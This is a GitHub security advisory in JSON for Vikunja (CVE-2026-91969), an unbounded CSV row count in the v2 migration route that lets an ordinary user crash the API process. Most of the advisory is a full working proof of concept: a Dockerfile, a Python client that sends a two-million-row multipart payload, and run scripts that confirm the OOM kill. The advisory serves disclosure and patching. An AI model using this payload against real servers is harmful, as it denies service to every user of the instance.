{"id":"GHSA-pqf9-h8g4-8gmh","summary":"Vikunja: Unbounded CSV row cardinality permits API process termination","details":"# Unbounded CSV row cardinality permits API process termination\n\n## Summary\n\nThe authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process.\n\n## Impact and affected scope\n\n- **Type:** Resource Exhaustion Csv Import\n- **Affected component:** POST /api/v2/migration/csv/migrate\n- **Preconditions:** An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration.\n- **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026\n- **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested\n\nA low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit.\n\n## Technical details\n\ncsv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification.\n\nAttack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows.\n\nRelevant code:\n\n- `pkg/routes/api/v2/migration_csv.go:96`\n- `pkg/routes/api/v2/migration_csv.go:164`\n- `pkg/modules/migration/csv/csv.go:281`\n- `pkg/modules/migration/csv/csv.go:298`\n- `pkg/modules/migration/csv/csv.go:590`\n- `pkg/modules/migration/csv/csv.go:605`\n- `pkg/modules/migration/csv/csv.go:627`\n- `pkg/modules/migration/csv/csv.go:643`\n- `pkg/modules/migration/csv/csv.go:655`\n\n## Reproduction\n\nRun this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.\n\nCreate `reproduction/Dockerfile`:\n\n```text\nFROM golang:1.27.0-alpine\n\nRUN apk add --no-cache bash build-base ca-certificates python3 tzdata\n\nWORKDIR /app\nCOPY . /app\nRUN chmod +x /app/*.sh 2\u003e/dev/null || true\n\n# Target source is supplied only at runtime through /target-repo:ro.\n# This image contains build dependencies and reproduction helpers, not a clone.\n\n```\n\nCreate `reproduction/client.py`:\n\n```python\n#!/usr/bin/env python3\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\nimport uuid\n\n\nBASE = \"http://target:3456\"\n\n\ndef json_request(method, path, body=None, token=None, expected=None):\n    raw = None if body is None else json.dumps(body).encode()\n    headers = {\"Accept\": \"application/json\"}\n    if body is not None:\n        headers[\"Content-Type\"] = \"application/json\"\n    if token:\n        headers[\"Authorization\"] = \"Bearer \" + token\n    req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)\n    try:\n        with urllib.request.urlopen(req, timeout=30) as response:\n            status, data = response.status, response.read()\n    except urllib.error.HTTPError as exc:\n        status, data = exc.code, exc.read()\n    print(f\"{method} {path} -\u003e {status} {data[:250].decode(errors='replace')}\", flush=True)\n    if expected is not None and status != expected:\n        raise RuntimeError(f\"{method} {path}: got {status}, expected {expected}\")\n    return status, json.loads(data.decode()) if data else {}\n\n\ndef wait_ready():\n    for _ in range(240):\n        try:\n            if json_request(\"GET\", \"/api/v1/info\")[0] == 200:\n                return\n        except Exception:\n            pass\n        time.sleep(0.25)\n    raise RuntimeError(\"target did not become ready\")\n\n\ndef register_and_login(username):\n    password = \"PoC-password-123!\"\n    json_request(\"POST\", \"/api/v2/register\", {\n        \"username\": username,\n        \"email\": username + \"@example.invalid\",\n        \"password\": password,\n    }, expected=201)\n    _, login = json_request(\"POST\", \"/api/v2/login\", {\"username\": username, \"password\": password}, expected=200)\n    return login[\"token\"]\n\n\ndef migrate(token, csv_data, config, expect_response):\n    boundary = \"----PoC-\" + uuid.uuid4().hex\n    body = (\n        f\"--{boundary}\\r\\nContent-Disposition: form-data; name=\\\"config\\\"\\r\\n\\r\\n{config}\\r\\n\".encode()\n        + f\"--{boundary}\\r\\nContent-Disposition: form-data; name=\\\"import\\\"; filename=\\\"fixture.csv\\\"\\r\\nContent-Type: text/csv\\r\\n\\r\\n\".encode()\n        + csv_data\n        + f\"\\r\\n--{boundary}--\\r\\n\".encode()\n    )\n    print(f\"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}\", flush=True)\n    req = urllib.request.Request(\n        BASE + \"/api/v2/migration/csv/migrate\",\n        data=body,\n        headers={\"Authorization\": \"Bearer \" + token, \"Content-Type\": \"multipart/form-data; boundary=\" + boundary},\n        method=\"POST\",\n    )\n    try:\n        with urllib.request.urlopen(req, timeout=90) as response:\n            status, data = response.status, response.read()\n        print(f\"POST migrate -\u003e {status} {data[:200]!r}\", flush=True)\n        if expect_response and status != 200:\n            raise RuntimeError(f\"control returned {status}, expected 200\")\n        if not expect_response:\n            raise RuntimeError(f\"attack unexpectedly returned HTTP {status}\")\n    except urllib.error.HTTPError as exc:\n        data = exc.read()\n        print(f\"POST migrate -\u003e HTTP {exc.code} {data[:200]!r}\", flush=True)\n        if expect_response:\n            raise\n        raise RuntimeError(f\"attack was rejected with HTTP {exc.code}; process did not terminate\")\n    except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:\n        if expect_response:\n            raise\n        print(f\"PoC_CSV_ATTACK_DISCONNECTED error={type(exc).__name__}\", flush=True)\n\n\ndef main():\n    wait_ready()\n    control_token = register_and_login(\"PoC-csv-control\")\n    control_config = json.dumps({\"delimiter\": \",\", \"mapping\": [{\"column_index\": 0, \"attribute\": \"title\"}]})\n    migrate(control_token, b\"Title\\ncontrol task\\n\", control_config, True)\n    json_request(\"GET\", \"/api/v1/info\", expected=200)\n    print(\"PoC_CSV_CONTROL=PASS\", flush=True)\n\n    attack_token = register_and_login(\"PoC-csv-attack\")\n    attack_config = json.dumps({\"delimiter\": \",\", \"mapping\": [{\"column_index\": 0, \"attribute\": \"ignore\"}]})\n    migrate(attack_token, b\"x\\n\" * 2_000_000, attack_config, False)\n    print(\"PoC_CSV_ATTACK_SENT rows=2000000\", flush=True)\n\n\nif __name__ == \"__main__\":\n    try:\n        main()\n    except Exception as exc:\n        print(f\"PoC_CSV_CLIENT=FAIL {exc}\", file=sys.stderr, flush=True)\n        raise\n\n```\n\nCreate `reproduction/prepare.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nmkdir -p /work/repo\ncp -a /target-repo/. /work/repo/\nmkdir -p /work/repo/frontend/dist\ncp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html\n\ncd /work/repo\nCGO_ENABLED=1 go build \\\n  -tags osusergo \\\n  -ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \\\n  -o /output/vikunja .\nchmod 0755 /output/vikunja\n\nif [[ -f /app/probe.go ]]; then\n  go build -o /output/probe /app/probe.go\n  chmod 0755 /output/probe\nfi\n\n```\n\nCreate `reproduction/run.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nFINDING_DIR=\"$(cd \"${SCRIPT_DIR}/..\" && pwd)\"\nSESSION_DIR=\"$(cd \"${FINDING_DIR}/..\" && pwd)\"\nCASE_ID=\"$(basename \"${SESSION_DIR}\")\"\nFINDING_NAME=\"$(basename \"${FINDING_DIR}\")\"\nIMAGE_TAG=\"PoC-${CASE_ID}-${FINDING_NAME}\"\nTARGET_REPO_URL=\"https://github.com/go-vikunja/vikunja.git\"\nTARGET_REF=\"349cd5adbcc831ef08b08e6c9c6d627603c39606\"\nWORKDIR=\"$(mktemp -d \"${SESSION_DIR}/.PoC-reproduction.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nBUILD_DIR=\"${WORKDIR}/build\"\nDATA_DIR=\"${WORKDIR}/data\"\nNETWORK=\"${IMAGE_TAG}-net-$$\"\nTARGET_CONTAINER=\"${IMAGE_TAG}-target-$$\"\n\ncleanup() {\n  docker rm -f \"${TARGET_CONTAINER}\" \u003e/dev/null 2\u003e&1 || true\n  docker network rm \"${NETWORK}\" \u003e/dev/null 2\u003e&1 || true\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nmkdir -p \"${BUILD_DIR}\" \"${DATA_DIR}/files\"\nchmod 0777 \"${BUILD_DIR}\" \"${DATA_DIR}\" \"${DATA_DIR}/files\"\necho \"[PoC] cloning and pinning target ${TARGET_REF}\"\ngit clone --filter=blob:none --no-checkout \"${TARGET_REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --detach \"${TARGET_REF}\"\necho \"[PoC] building helper image ${IMAGE_TAG}\"\ndocker build -t \"${IMAGE_TAG}\" \"${SCRIPT_DIR}\"\ndocker run --rm -v \"${TARGET_REPO_DIR}:/target-repo:ro\" -v \"${BUILD_DIR}:/output\" \"${IMAGE_TAG}\" /app/prepare.sh\ndocker network create \"${NETWORK}\" \u003e/dev/null\ndocker run --detach --name \"${TARGET_CONTAINER}\" \\\n  --network \"${NETWORK}\" --network-alias target \\\n  --memory 512m --memory-swap 512m --pids-limit 256 \\\n  -v \"${BUILD_DIR}/vikunja:/app/vikunja:ro\" --tmpfs /data:rw,exec,mode=1777 \\\n  -e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \\\n  -e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \\\n  -e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \\\n  -e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \\\n  -e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \\\n  -e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \\\n  \"${IMAGE_TAG}\" /app/vikunja web \u003e/dev/null\n\nset +e\nOUTPUT=\"$(docker run --rm --network \"${NETWORK}\" \"${IMAGE_TAG}\" python3 /app/client.py 2\u003e&1)\"\nCLIENT_STATUS=$?\nset -e\nprintf '%s\\n' \"${OUTPUT}\"\nfor _ in $(seq 1 80); do\n  STATE=\"$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' \"${TARGET_CONTAINER}\")\"\n  [[ \"${STATE}\" != \"false 0 true\" ]] && break\n  sleep 0.25\ndone\nSTATE=\"$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' \"${TARGET_CONTAINER}\")\"\necho \"PoC_CSV_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}\"\nif ! grep -q 'PoC_CSV_CONTROL=PASS' \u003c\u003c\u003c\"${OUTPUT}\" || ! grep -q 'PoC_CSV_ATTACK_SENT rows=2000000' \u003c\u003c\u003c\"${OUTPUT}\" || [[ \"${STATE}\" != \"true 137 false\" ]]; then\n  echo \"[PoC] FAIL: CSV cardinality payload did not produce the expected cgroup OOM termination\" \u003e&2\n  exit 1\nfi\necho \"PoC_CSV_CARDINALITY=PASS rows=2000000 request_bytes_under_5MiB OOMKilled=true ExitCode=137\"\necho \"[PoC] SUCCESS: a low-privileged CSV import terminated a 512 MiB API process\"\n\n```\n\nCreate `reproduction/frontend-placeholder.html`:\n\n```html\n\u003c!doctype html\u003e\u003ctitle\u003ePoC backend reproduction placeholder\u003c/title\u003e\n\n```\n\nFrom the directory containing these files, run:\n\n```sh\nchmod +x reproduction/run.sh reproduction/*.sh 2\u003e/dev/null || true\n./reproduction/run.sh\n```\n\n**Expected:** A low-privileged CSV migration request terminates the API process through parsed-row and task-materialization amplification.\n\n**Observed:** The normal import control returned HTTP 200. The 4,000,371-byte, two-million-row attack request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_CSV_CARDINALITY=PASS.\n\n**Verification and controls:** The client uses independent ordinary users for the success control and attack, sends the real multipart migration format, and the host script requires the control marker, attack marker, and Docker OOMKilled=true with ExitCode=137.\n\nObserved evidence:\n\n- Normal CSV migrate control: HTTP 200\n- Attack: rows=2000000, request_bytes=4000371, RemoteDisconnected\n- target container: OOMKilled=true, ExitCode=137\n- PoC_CSV_CARDINALITY=PASS\n\n## Suggested remediation\n\nEnforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.\n\n## Severity\n\n**CVSS v4.0: 7.1 (High)** — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\nThis assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.\n\n## Disclosure context and attribution\n\nAI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.\n\nReported by the University of Sydney security research team:\n\n- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)\n- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)\n- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)\n- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)\n- [Chenchen Yu (@7thParkk)](https://github.com/7thParkk)\n\nWe are happy to answer questions, provide additional verification details, or validate a candidate patch.","aliases":["CVE-2026-91969"],"modified":"2026-10-09T21:00:14.457662098Z","published":"2026-10-09T20:53:14Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-09T20:53:14Z","nvd_published_at":null,"cwe_ids":["CWE-400"]},"references":[{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-pqf9-h8g4-8gmh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91969"},{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/pull/3688"},{"type":"PACKAGE","url":"https://github.com/go-vikunja/vikunja"},{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-csv-migration"}],"affected":[{"package":{"name":"code.vikunja.io/api","ecosystem":"Go","purl":"pkg:golang/code.vikunja.io/api"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.5.0"},{"fixed":"2.6.0"}]}],"versions":["2.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-pqf9-h8g4-8gmh/GHSA-pqf9-h8g4-8gmh.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}